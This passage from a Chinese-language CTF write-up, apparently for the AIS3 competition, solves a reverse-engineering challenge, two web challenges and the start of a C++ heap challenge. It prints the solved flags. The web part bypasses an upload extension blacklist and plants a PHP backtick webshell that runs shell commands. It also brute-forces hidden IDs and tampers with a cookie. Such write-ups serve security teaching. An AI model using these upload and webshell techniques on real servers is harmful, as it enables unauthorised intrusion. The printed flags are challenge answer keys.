class="keyword">var</span> 魠 = _ans80;</span><br><span class="line"><span class="keyword">var</span> 型 = <span class="function"><span class="params">_</span> =&gt;</span> &#123;&#125;;</span><br><span class="line">型 = 和 =&gt; 宇 =&gt; &#123;</span><br><span class="line">    <span class="keyword">const</span> _ans81 = <span class="number">165</span> + 和;</span><br><span class="line">    <span class="keyword">const</span> _ans82 = 啟 + _ans81;</span><br><span class="line">    <span class="keyword">var</span> 巳支 = _ans82;</span><br><span class="line">    <span class="keyword">const</span> _ans83 = 巳支 + 魠;</span><br><span class="line">    <span class="keyword">var</span> 申午 = _ans83;</span><br><span class="line">    <span class="keyword">const</span> _ans84 = 獲取(桐)(宇);</span><br><span class="line">    <span class="keyword">const</span> _ans85 = 申午 + _ans84;</span><br><span class="line">    <span class="keyword">var</span> 二酉 = _ans85;</span><br><span class="line">    <span class="keyword">return</span> 二酉;</span><br><span class="line">&#125;;</span><br><span class="line"><span class="keyword">var</span> 希依 = <span class="function"><span class="params">_</span> =&gt;</span> &#123;&#125;;</span><br><span class="line">希依 = 祈 =&gt; &#123;</span><br><span class="line">    <span class="keyword">const</span> _ans86 = 禱(祈);</span><br><span class="line">    命 = _ans86;</span><br><span class="line">    <span class="keyword">var</span> _ans87 = <span class="string">&quot;結果&quot;</span>;</span><br><span class="line">    <span class="keyword">var</span> _ans88 = 命;</span><br><span class="line">    <span class="keyword">var</span> _ans89 = 歷;</span><br><span class="line">    <span class="variable language_">console</span>.<span class="title function_">log</span>(_ans87, _ans88, _ans89);</span><br><span class="line">    <span class="keyword">if</span> (命 == 秘旗) &#123;</span><br><span class="line">        <span class="keyword">var</span> _ans90 = <span class="string">&quot;正解&quot;</span>;</span><br><span class="line">        <span class="variable language_">console</span>.<span class="title function_">log</span>(_ans90);</span><br><span class="line">    &#125;;</span><br><span class="line">&#125;;</span><br><span class="line"><span class="keyword">var</span> 玲瓏 = <span class="function"><span class="params">_</span> =&gt;</span> &#123;&#125;;</span><br><span class="line">玲瓏 = <span class="function">() =&gt;</span> &#123;</span><br><span class="line">    <span class="keyword">var</span> _ans91 = 託;</span><br><span class="line">    <span class="variable language_">console</span>.<span class="title function_">log</span>(_ans91);</span><br><span class="line">&#125;;</span><br><span class="line"><span class="keyword">var</span> 殼 = <span class="function"><span class="params">_</span> =&gt;</span> &#123;&#125;;</span><br><span class="line">殼 = 入 =&gt; &#123;</span><br><span class="line">    <span class="keyword">const</span> _ans92 = 始於(入)(<span class="string">&quot;蛵煿 &quot;</span>);</span><br><span class="line">    <span class="keyword">var</span> 丁辰 = _ans92;</span><br><span class="line">    <span class="keyword">if</span> (丁辰) &#123;</span><br><span class="line">        <span class="keyword">const</span> _ans93 = 字子(入)(<span class="number">3</span>);</span><br><span class="line">        <span class="keyword">var</span> 地辛 = _ans93;</span><br><span class="line">        <span class="keyword">const</span> _ans94 = 希依(地辛);</span><br><span class="line">    &#125; <span class="keyword">else</span> &#123;</span><br><span class="line">        <span class="keyword">if</span> (入 == <span class="string">&quot;助&quot;</span>) &#123;</span><br><span class="line">            <span class="keyword">const</span> _ans95 = 玲瓏();</span><br><span class="line">        &#125; <span class="keyword">else</span> &#123;</span><br><span class="line">            <span class="keyword">const</span> _ans96 = <span class="string">&quot;指令「&quot;</span> + 入;</span><br><span class="line">            <span class="keyword">var</span> 丙丁 = _ans96;</span><br><span class="line">            <span class="keyword">const</span> _ans97 = 丙丁 + <span class="string">&quot;」不存在\n&quot;</span>;</span><br><span class="line">            <span class="keyword">var</span> 辛午 = _ans97;</span><br><span class="line">            <span class="keyword">const</span> _ans98 = 輸出(辛午);</span><br><span class="line">        &#125;;</span><br><span class="line">    &#125;;</span><br><span class="line">    <span class="keyword">const</span> _ans99 = 輸出(涅);</span><br><span class="line">&#125;;</span><br><span class="line"><span class="keyword">var</span> 殼始 = <span class="function"><span class="params">_</span> =&gt;</span> &#123;&#125;;</span><br><span class="line">殼始 = <span class="function">() =&gt;</span> &#123;</span><br><span class="line">    <span class="keyword">var</span> _ans100 = 大;</span><br><span class="line">    <span class="variable language_">console</span>.<span class="title function_">log</span>(_ans100);</span><br><span class="line">    <span class="keyword">const</span> _ans101 = 輸出(涅);</span><br><span class="line">&#125;;</span><br><span class="line"><span class="keyword">const</span> _ans102 = 殼始();</span><br><span class="line"><span class="keyword">const</span> _ans103 = 聽寫(系)(殼);</span><br></pre></td></tr></table></figure><p>觀察 compile 後的 code 內容，稍微解析各個 function 的內容:<br><code>恆常</code>為定義 const variable，可以看到<code>秘旗</code>就是加密過後的 flag，其餘先保留。<br><code>鑿字秘術</code>與<code>交互秘術</code>都是一些內建函式的改寫，可以直接略過。<br>剩下是自定義函式，一樣可以略過。</p><p>這時候從尾部找尋秘旗，往前對照發現其是對應<code>禱(祈)</code>這個函式，這時候對這個單一函數進行解析整理:</p><figure class="highlight javascript"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">var</span> 禱=<span class="function"><span class="params">_</span>=&gt;</span>&#123;&#125;;禱=食=&gt;&#123;</span><br><span class="line"><span class="keyword">if</span> (!食.<span class="property">length</span>)&#123;<span class="keyword">return</span> <span class="string">&quot;&quot;</span>;&#125;;</span><br><span class="line"><span class="keyword">var</span> 紀元=<span class="string">&quot;&quot;</span>;<span class="keyword">var</span> 呼=<span class="number">0</span>;</span><br><span class="line"><span class="keyword">while</span>(<span class="literal">true</span>)&#123;<span class="keyword">var</span> 申壬=<span class="literal">false</span>;<span class="keyword">if</span> (呼&lt;連)&#123;申壬=<span class="literal">true</span>;&#125;;<span class="keyword">if</span> (申壬==<span class="number">0</span>)&#123;<span class="keyword">break</span>;&#125;;</span><br><span class="line">日=字址(食)(呼);</span><br><span class="line"><span class="keyword">var</span> 鑫=<span class="number">0</span>;</span><br><span class="line"><span class="keyword">var</span> 谷=<span class="number">0</span>;</span><br><span class="line"><span class="keyword">if</span> (連-呼&gt;=<span class="number">2</span>)&#123;鑫=字址(食)(呼+<span class="number">1</span>);&#125;;</span><br><span class="line"><span class="keyword">if</span> (連-呼&gt;<span class="number">2</span>)&#123;谷=字址(食)(呼+<span class="number">2</span>);&#125;;</span><br><span class="line">紀元=紀元+型(營(日)(<span class="number">4</span>))(削(日)(<span class="number">3</span>)*<span class="number">16</span>+營(鑫)(<span class="number">16</span>));</span><br><span class="line">紀元=紀元+型(削(鑫)(<span class="number">15</span>)*<span class="number">4</span>+營(谷)(<span class="number">64</span>))(削(谷)(<span class="number">63</span>));</span><br><span class="line">呼=呼+<span class="number">3</span>;&#125;</span><br><span class="line"><span class="keyword">if</span> (連%<span class="number">3</span>==<span class="number">1</span>)&#123;紀元=紀元+<span class="string">&quot;等於&quot;</span>;&#125;;</span><br><span class="line"><span class="keyword">return</span> 紀元;&#125;</span><br></pre></td></tr></table></figure><p>在編輯器<code>Ctrl+F</code>搜尋發現<code>食</code>沒有被定義僅被呼叫，推測<code>食</code>就是 flag，而<code>日</code>、<code>鑫</code>、<code>谷</code>則為三個一組的 flag 呼叫。</p><p>先來分析<code>營</code>和<code>削</code>函式:<br><code>營</code>相對簡單，<code>營(a)(b)=(a//b)</code><br><code>削</code>的部分，</p><figure class="highlight javascript"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">var</span> 削=<span class="function"><span class="params">_</span>=&gt;</span>&#123;&#125;;</span><br><span class="line">削=日=&gt;鑫=&gt;&#123;</span><br><span class="line"><span class="keyword">var</span> 命=<span class="number">0</span>;<span class="keyword">var</span> 恩=<span class="number">1</span>;</span><br><span class="line"><span class="keyword">while</span>(<span class="literal">true</span>)&#123;</span><br><span class="line"><span class="keyword">var</span> 戊乙=<span class="literal">false</span>;</span><br><span class="line"><span class="keyword">if</span> (日&gt;<span class="number">0</span>)&#123;戊乙=<span class="literal">true</span>;&#125;;</span><br><span class="line"><span class="keyword">var</span> 午酉=<span class="literal">false</span>;</span><br><span class="line"><span class="keyword">if</span> (鑫&gt;<span class="number">0</span>)&#123;午酉=<span class="literal">true</span>;&#125;;</span><br><span class="line"><span class="keyword">if</span> (戊乙&amp;&amp;午酉==<span class="number">0</span>)&#123;<span class="keyword">break</span>;&#125;;</span><br><span class="line"><span class="keyword">var</span> 甲二=<span class="literal">false</span>;</span><br><span class="line"><span class="keyword">if</span> (日%<span class="number">2</span>==<span class="number">1</span>)&#123;甲二=<span class="literal">true</span>;&#125;;</span><br><span class="line"><span class="keyword">var</span> 午庚=<span class="literal">false</span>;</span><br><span class="line"><span class="keyword">if</span> (鑫%<span class="number">2</span>==<span class="number">1</span>)&#123;午庚=<span class="literal">true</span>;&#125;;</span><br><span class="line"><span class="keyword">if</span> (甲二&amp;&amp;午庚)&#123;命=命+恩;&#125;;</span><br><span class="line">日=營(日)(<span class="number">2</span>);鑫=營(鑫)(<span class="number">2</span>);恩=恩*<span class="number">2</span>;&#125;</span><br><span class="line"><span class="keyword">return</span> 命;&#125;</span><br></pre></td></tr></table></figure><p>可得<code>削(a)(b)=(a&gt;0&amp;&amp;b&gt;0)?(a&amp;b):0</code></p><p>再來看<code>型</code></p><figure class="highlight javascript"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">var</span> 型=<span class="function"><span class="params">_</span>=&gt;</span>&#123;&#125;;</span><br><span class="line">型=和=&gt;宇=&gt;&#123;<span class="keyword">return</span>啟+(<span class="number">165</span>+和)+魠+獲取(桐)(宇);&#125;</span><br></pre></td></tr></table></figure><p>上面可知<code>和</code>及<code>宇</code>為<code>禱</code>內部呼叫之參數，皆為數字，<code>啟</code>、<code>魠</code>為外部傳入，不影響<code>禱</code>所求<code>日</code>、<code>鑫</code>、<code>谷</code>內容</p><p>而<code>桐=子字(師)(463)(527)</code>(從前面的<code>交互秘術</code>可知是 substring 的意思)，可得<code>桐=&#39;明故五月渡瀘深入不毛今南方巳定兵甲已足當獎率三軍北碇中原庶竭駑鈍攘除奸兇興複漢室還于舊都此臣所以報先帝而忠陛下之職分也至於斟酌損&#39;</code></p><p>故<code>秘旗</code>重複單位<code>\x1b[38:5:181m獎</code>即為單一<code>型</code>所生，<code>(165+和)</code>為數字，<code>獲取(桐)(宇)</code>為字串中字元<br>所以<code>啟=\x1b[38:5:</code>，<code>魠=m</code>，無須逆向。</p><p>寫 code 爆搜出<code>日</code>、<code>鑫</code>、<code>谷</code>對應<code>秘旗</code>內容即可。</p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br></pre></td><td class="code"><pre><span class="line">ff=[<span class="string">&quot;181m獎&quot;</span>,<span class="string">&quot;202m當&quot;</span>,<span class="string">&quot;177m之&quot;</span>,<span class="string">&quot;210m兇&quot;</span>,<span class="string">&quot;191m深&quot;</span>,<span class="string">&quot;170m定&quot;</span>,<span class="string">&quot;189m忠&quot;</span>,<span class="string">&quot;197m忠&quot;</span>,<span class="string">&quot;192m複&quot;</span>,<span class="string">&quot;226m除&quot;</span>,<span class="string">&quot;177m率&quot;</span>,<span class="string">&quot;226m月&quot;</span>,<span class="string">&quot;191m月&quot;</span>,<span class="string">&quot;170m都&quot;</span>,<span class="string">&quot;177m三&quot;</span>,<span class="string">&quot;178m還&quot;</span>,<span class="string">&quot;177m三&quot;</span>,<span class="string">&quot;209m先&quot;</span>,<span class="string">&quot;188m而&quot;</span>,<span class="string">&quot;197m忠&quot;</span>,<span class="string">&quot;192m兇&quot;</span>,<span class="string">&quot;198m故&quot;</span>,<span class="string">&quot;192m複&quot;</span>,<span class="string">&quot;226m巳&quot;</span>,<span class="string">&quot;177m三&quot;</span>,<span class="string">&quot;222m定&quot;</span>,<span class="string">&quot;189m率&quot;</span>,<span class="string">&quot;225m陛&quot;</span>,<span class="string">&quot;194m軍&quot;</span>,<span class="string">&quot;166m除&quot;</span>,<span class="string">&quot;178m軍&quot;</span>,<span class="string">&quot;186m忠&quot;</span>,<span class="string">&quot;181m率&quot;</span>,<span class="string">&quot;226m所&quot;</span>,<span class="string">&quot;177m瀘&quot;</span>,<span class="string">&quot;226m獎&quot;</span>,<span class="string">&quot;181m獎&quot;</span>,<span class="string">&quot;218m除&quot;</span>,<span class="string">&quot;179m當&quot;</span>,<span class="string">&quot;166m鈍&quot;</span>,<span class="string">&quot;178m三&quot;</span>,<span class="string">&quot;170m斟&quot;</span>]</span><br><span class="line">ss=<span class="string">&#x27;明故五月渡瀘深入不毛今南方巳定兵甲已足當獎率三軍北碇中原庶竭駑鈍攘除奸兇興複漢室還于舊都此臣所以報先帝而忠陛下之職分也至於斟酌損&#x27;</span></span><br><span class="line"></span><br><span class="line">m=[]</span><br><span class="line">n=[]</span><br><span class="line"></span><br><span class="line"><span class="keyword">for</span> i <span class="keyword">in</span> ff:</span><br><span class="line">    i=i.split(<span class="string">&quot;m&quot;</span>)</span><br><span class="line">    m.append(<span class="built_in">int</span>(i[<span class="number">0</span>])-<span class="number">165</span>)</span><br><span class="line">    n.append(i[<span class="number">1</span>])</span><br><span class="line"></span><br><span class="line"><span class="built_in">print</span>(m)</span><br><span class="line"><span class="built_in">print</span>(n)</span><br><span class="line"></span><br><span class="line"><span class="keyword">for</span> i <span class="keyword">in</span> <span class="built_in">range</span>(<span class="number">50</span>):</span><br><span class="line">    <span class="keyword">for</span> a <span class="keyword">in</span> <span class="built_in">range</span>(<span class="number">40</span>,<span class="number">130</span>):</span><br><span class="line">        <span class="keyword">for</span> b <span class="keyword">in</span> <span class="built_in">range</span>(<span class="number">40</span>,<span class="number">130</span>):</span><br><span class="line">            <span class="keyword">for</span> c <span class="keyword">in</span> <span class="built_in">range</span>(<span class="number">40</span>,<span class="number">130</span>):</span><br><span class="line">                <span class="keyword">if</span>(a//<span class="number">4</span>==m[i] <span class="keyword">and</span> ss[<span class="number">16</span>*(a&amp;<span class="number">3</span>)+b//<span class="number">16</span>]==n[i] <span class="keyword">and</span> <span class="number">4</span>*(b&amp;<span class="number">15</span>)+c//<span class="number">64</span>==m[i+<span class="number">1</span>] <span class="keyword">and</span> ss[c&amp;<span class="number">63</span>]==n[i+<span class="number">1</span>]):</span><br><span class="line">                    <span class="built_in">print</span>(<span class="built_in">chr</span>(a)+<span class="built_in">chr</span>(b)+<span class="built_in">chr</span>(c),end=<span class="string">&#x27;&#x27;</span>)</span><br></pre></td></tr></table></figure><p>FLAG:<code>AIS3&#123;chaNcH4n_a1_Ch1k1ch1k1_84n8An_M1nNa_5upa5utA_n0_TAMa90_5a&#125;</code></p><h1 id="Web"><a href="#Web" class="headerlink" title="Web"></a>Web</h1><h2 id="Simple-File-Uploader-100-easy"><a href="#Simple-File-Uploader-100-easy" class="headerlink" title="Simple File Uploader [100] [easy]"></a>Simple File Uploader [100] [easy]</h2><div class="note default flat"><p><img src="https://i.imgur.com/BhxYLNV.png"><br>一個簡單檔案上傳者。<br>Author: wii</p></div><blockquote><p>route: <a href="http://chals1.ais3.org:8988/">http://chals1.ais3.org:8988</a>(vpn required)</p></blockquote><p>這題是一個上傳檔案的網站，打開 source code 可以發現它鎖了很多 php 的格式，明顯是要讓我們上傳可上傳可執行的 php 檔，其中因為它使用黑名單的方式，稍微查一下可以發現副檔名大小寫差異便可繞過，建立<code>aa.Php</code>即可上傳 php(用<code>echo 1;</code>測試可否執行)</p><figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta">&lt;?php</span> <span class="keyword">echo</span> <span class="number">1</span>; <span class="meta">?&gt;</span></span><br></pre></td></tr></table></figure><p>接著需要繞過 system function，source code 中可以發現他把幾乎所有的 system 執行指令都鎖起來了，但 php 有一個特殊的方式可以繞過執行，以``包起的字串會被當成指令嘗試執行，因此可以構造出指令嘗試執行。</p><figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta">&lt;?php</span></span><br><span class="line"><span class="variable">$waku</span>=`cd ../../../../../../;ls;`;</span><br><span class="line"><span class="keyword">echo</span> <span class="string">&quot;&lt;pre&gt;<span class="subst">$waku</span>&lt;/pre&gt;&quot;</span>;</span><br><span class="line"><span class="meta">?&gt;</span></span><br></pre></td></tr></table></figure><p><img src="https://i.imgur.com/wHCkA3I.jpg"></p><p>可以看到一個<code>rUn_M3_t0_9et_fL4g</code>檔案，執行它即可得到 flag。</p><figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta">&lt;?php</span></span><br><span class="line"><span class="variable">$waku</span>=`cd ../../../../../../;ls;./rUn_M3_t0_9et_fL4g`;</span><br><span class="line"><span class="keyword">echo</span> <span class="string">&quot;&lt;pre&gt;<span class="subst">$waku</span>&lt;/pre&gt;&quot;</span>;</span><br><span class="line"><span class="meta">?&gt;</span></span><br><span class="line"><span class="comment">//AIS3&#123;H3yyyyyyyy_U_g0t_mi٩(ˊᗜˋ*)و&#125;</span></span><br></pre></td></tr></table></figure><p>FLAG:<code>AIS3&#123;H3yyyyyyyy_U_g0t_mi٩(ˊᗜˋ*)و&#125;</code></p><h2 id="Poking-Bear-100-baby"><a href="#Poking-Bear-100-baby" class="headerlink" title="Poking Bear [100] [baby]"></a>Poking Bear [100] [baby]</h2><div class="note default flat"><p><img src="https://i.imgur.com/MchcePB.jpg"><br>Poke the SECRET BEAR!<br>Author: wii</p></div><blockquote><p>route: <a href="http://chals1.ais3.org:8987/">http://chals1.ais3.org:8987</a>(vpn required)</p></blockquote><p>打開網頁可以發現一個可以戳熊熊(?)的介面，點進去可以發現除了<code>SECRET BEAR</code>之外其他的熊都有一個特殊的號碼掛在<code>http://chals1.ais3.org:8987/bear/&#123;id&#125;</code>之中，所以我們的目標十分明確:找到 SECRET BEAR 的 id!</p><p>其他 bear 的 id 都在首頁的 html 裡，所以只要寫段 python 來爆搜沒有在裡面的 id 即可。</p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">import</span> requests</span><br><span class="line"></span><br><span class="line">url = <span class="string">&quot;http://chals1.ais3.org:8987/bear/&quot;</span></span><br><span class="line"></span><br><span class="line"><span class="keyword">for</span> i <span class="keyword">in</span> <span class="built_in">range</span>(<span class="number">1000</span>):</span><br><span class="line">    res = requests.get(url + <span class="built_in">str</span>(i))</span><br><span class="line">    <span class="keyword">if</span> <span class="string">&quot;This is not even a bear.&quot;</span> <span class="keyword">not</span> <span class="keyword">in</span> res.text:</span><br><span class="line">        <span class="built_in">print</span>(i)</span><br><span class="line"></span><br><span class="line"><span class="comment"># 5 29 82 327 350 499 777 ...</span></span><br></pre></td></tr></table></figure><p>可以發現 499 沒有在裡面，訪問 <a href="http://chals1.ais3.org:8987/bear/499">http://chals1.ais3.org:8987/bear/499</a> 可以有一個戳<code>SECRET BEAR</code>的頁面，但戳下去它會說你不是<code>bear poker</code>，這時候直覺看看 cookie 有一個<code>human</code>類別，把後面的值改成<code>bear poker</code>再戳它就可以拿到 flag。</p><p>FLAG:<code>AIS3&#123;y0u_P0l&lt;3_7h3_Bear_H@rdLy&gt;&lt;&#125;</code></p><h1 id="Pwn"><a href="#Pwn" class="headerlink" title="Pwn"></a>Pwn</h1><h2 id="SAAS-Crash-40-C-heap-easy"><a href="#SAAS-Crash-40-C-heap-easy" class="headerlink" title="SAAS - Crash [40] [C++][heap][easy]"></a>SAAS - Crash [40] [C++][heap][easy]</h2><div class="note default flat"><p>This challenge is not about Software as a Service, but String as a Service.</p><blockquote><p>You only need to crash the program at remote to get this flag, no need to actually write exploit for it</p></blockquote><p>Author: maple3142</p></div><blockquote><p>file: <a href="https://drive.google.com/file/d/18YJGrtqcZIr5cNufSWAQnWnegHM5ww87/view?usp=sharing">https://drive.google.com/file/d/18YJGrtqcZIr5cNufSWAQnWnegHM5ww87/view?usp=sharing</a></p></blockquote><p>這題給了 source code package 跟 netcat 網址，先看看 source code:</p><figure class="highlight cpp"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br><span class="line">56</span><br><span class="line">57</span><br><span class="line">58</span><br><span class="line">59</span><br><span class="line">60</span><br><span class="line">61</span><br><span class="line">62</span><br><span class="line">63</span><br><span class="line">64</span><br><span class="line">65</span><br><span class="line">66</span><br><span class="line">67</span><br><span class="line">68</span><br><span class="line">69</span><br><span class="line">70</span><br><span class="line">71</span><br><span class="line">72</span><br><span class="line">73</span><br><span class="line">74</span><br><span class="line">75</span><br><span class="line">76</span><br><span class="line">77</span><br><span class="line">78</span><br><span class="line">79</span><br><span class="line">80</span><br><span class="line">81</span><br><span class="line">82</span><br><span class="line">83</span><br><span class="line">84</span><br><span class="line">85</span><br><span class="line">86</span><br><span class="line">87</span><br><span class="line">88</span><br><span class="line">89</span><br><span class="line">90</span><br><span class="line">91</span><br><span class="line">92</span><br><span class="line">93</span><br><span class="line">94</span><br><span class="line">95</span><br><span class="line">96</span><br><span class="line">97</span><br><span class="line">98</span><br><span class="line">99</span><br><span class="line">100</span><br><span class="line">101</span><br><span class="line">102</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta">#<span class="keyword">include</span> <span class="string">&lt;stdio.h&gt;</span></span></span><br><span class="line"><span class="meta">#<span class="keyword">include</span> <span class="string">&lt;stdlib.h&gt;</span></span></span><br><span class="line"><span class="meta">#<span class="keyword">include</span> <span class="string">&lt;string.h&gt;</span></span></span><br><span class="line"><span class="meta">#<span class="keyword">include</span> <span class="string">&lt;unistd.h&gt;</span></span></span><br><span class="line"></span><br><span class="line"><span class="keyword">class</span> <span class="title class_">String</span> &#123;</span><br><span class="line">   <span class="keyword">public</span>:</span><br><span class="line"><span class="type">char</span> *str;</span><br><span class="line"><span class="type">size_t</span> len;</span><br><span class="line"></span><br><span class="line"><span class="built_in">String</span>(<span class="type">const</span> <span class="type">char</span> *s) &#123;</span><br><span class="line">len = <span class="built_in">strlen</span>(s);</span><br><span class="line">str = <span class="keyword">new</span> <span class="type">char</span>[len + <span class="number">1</span>];</span><br><span class="line"><span class="built_in">strcpy</span>(str, s);</span><br><span class="line">&#125;</span><br><span class="line">~<span class="built_in">String</span>() &#123; <span class="keyword">delete</span>[] str; &#125;</span><br><span class="line">&#125;;</span><br><span class="line"></span><br><span class="line"><span class="type">const</span> <span class="type">int</span> MAX_STRS = <span class="number">16</span>;</span><br><span class="line"><span class="type">char</span> tmp[<span class="number">4096</span>];</span><br><span class="line">String *strs[MAX_STRS] = &#123;&#125;;</span><br><span class="line"></span><br><span class="line"><span class="function"><span class="type">int</span> <span class="title">readidx</span><span class="params">()</span> </span>&#123;</span><br><span class="line"><span class="type">char</span> c;</span><br><span class="line"><span class="type">int</span> idx;</span><br><span class="line"><span class="built_in">printf</span>(<span class="string">&quot;Index: &quot;</span>);</span><br><span class="line"><span class="built_in">scanf</span>(<span class="string">&quot;%d%c&quot;</span>, &amp;idx, &amp;c);</span><br><span class="line"><span class="keyword">if</span> (idx &lt; <span class="number">0</span> || idx &gt;= MAX_STRS) &#123;</span><br><span class="line"><span class="built_in">printf</span>(<span class="string">&quot;Bad index\n&quot;</span>);</span><br><span class="line"><span class="built_in">exit</span>(<span class="number">0</span>);</span><br><span class="line">&#125;</span><br><span class="line"><span class="keyword">return</span> idx;</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="function"><span class="type">void</span> <span class="title">print</span><span class="params">(String s)</span> </span>&#123;</span><br><span class="line"><span class="built_in">printf</span>(<span class="string">&quot;Length: %zu\n&quot;</span>, s.len);</span><br><span class="line"><span class="built_in">printf</span>(<span class="string">&quot;Content: &quot;</span>);</span><br><span class="line"><span class="built_in">write</span>(<span class="number">1</span>, s.str, s.len);</span><br><span class="line"><span class="built_in">printf</span>(<span class="string">&quot;\n&quot;</span>);</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="function"><span class="type">void</span> <span class="title">menu</span><span class="params">()</span> </span>&#123;</span><br><span class="line"><span class="built_in">printf</span>(<span class="string">&quot;===== S(tring)AAS =====\n&quot;</span>);</span><br><span class="line"><span class="built_in">printf</span>(<span class="string">&quot;1. Create string\n&quot;</span>);</span><br><span class="line"><span class="built_in">printf</span>(<span class="string">&quot;2. Edit string\n&quot;</span>);</span><br><span class="line"><span class="built_in">printf</span>(<span class="string">&quot;3. Print string\n&quot;</span>);</span><br><span class="line"><span class="built_in">printf</span>(<span class="string">&quot;4. Delete string\n&quot;</span>);</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="function"><span class="type">int</span> <span class="title">main</span><span class="params">()</span> </span>&#123;</span><br><span class="line"><span class="built_in">setvbuf</span>(stdin, <span class="literal">NULL</span>, _IONBF, <span class="number">0</span>);</span><br><span class="line"><span class="built_in">setvbuf</span>(stdout, <span class="literal">NULL</span>, _IONBF, <span class="number">0</span>);</span><br><span class="line"><span class="keyword">while</span> (<span class="literal">true</span>) &#123;</span><br><span class="line"><span class="type">int</span> choice, idx;</span><br><span class="line"><span class="type">char</span> c;</span><br><span class="line"><span class="built_in">menu</span>();</span><br><span class="line"><span class="built_in">printf</span>(<span class="string">&quot;&gt; &quot;</span>);</span><br><span class="line"><span class="built_in">scanf</span>(<span class="string">&quot;%d&quot;</span>, &amp;choice);</span><br><span class="line"><span class="keyword">switch</span> (choice) &#123;</span><br><span class="line"><span class="keyword">case</span> <span class="number">1</span>:</span><br><span class="line">idx = <span class="built_in">readidx</span>();</span><br><span class="line"><span class="built_in">printf</span>(<span class="string">&quot;Content: &quot;</span>);</span><br><span class="line"><span class="built_in">scanf</span>(<span class="string">&quot;%4095[^\n]&quot;</span>, tmp);</span><br><span class="line"><span class="built_in">scanf</span>(<span class="string">&quot;%c&quot;</span>, &amp;c);</span><br><span class="line">strs[idx] = <span class="keyword">new</span> <span class="built_in">String</span>(tmp);</span><br><span class="line"><span class="keyword">break</span>;</span><br><span class="line"><span class="keyword">case</span> <span class="number">2</span>:</span><br><span class="line">idx = <span class="built_in">readidx</span>();</span><br><span class="line"><span class="built_in">printf</span>(<span class="string">&quot;New Content: &quot;</span>);</span><br><span class="line"><span class="keyword">if</span> (strs[idx] != <span class="literal">nullptr</span>) &#123;</span><br><span class="line"><span class="built_in">scanf</span>(<span class="string">&quot;%4095[^\n]&quot;</span>, tmp);</span><br><span class="line"><span class="built_in">scanf</span>(<span class="string">&quot;%c&quot;</span>, &amp;c);</span><br><span class="line"><span class="built_in">memcpy</span>(strs[idx]-&gt;str, tmp, strs[idx]-&gt;len);</span><br><span class="line">strs[idx]-&gt;str[strs[idx]-&gt;len] = <span class="number">0</span>;</span><br><span class="line">&#125; <span class="keyword">else</span> &#123;</span><br><span class="line"><span class="built_in">printf</span>(<span class="string">&quot;String #%d doesn&#x27;t exist!\n&quot;</span>, idx);</span><br><span class="line">&#125;</span><br><span class="line"><span class="keyword">break</span>;</span><br><span class="line"><span class="keyword">case</span> <span class="number">3</span>:</span><br><span class="line">idx = <span class="built_in">readidx</span>();</span><br><span class="line"><span class="keyword">if</span> (strs[idx] != <span class="literal">nullptr</span>) &#123;</span><br><span class="line"><span class="built_in">print</span>(*strs[idx]);</span><br><span class="line">&#125; <span class="keyword">else</span> 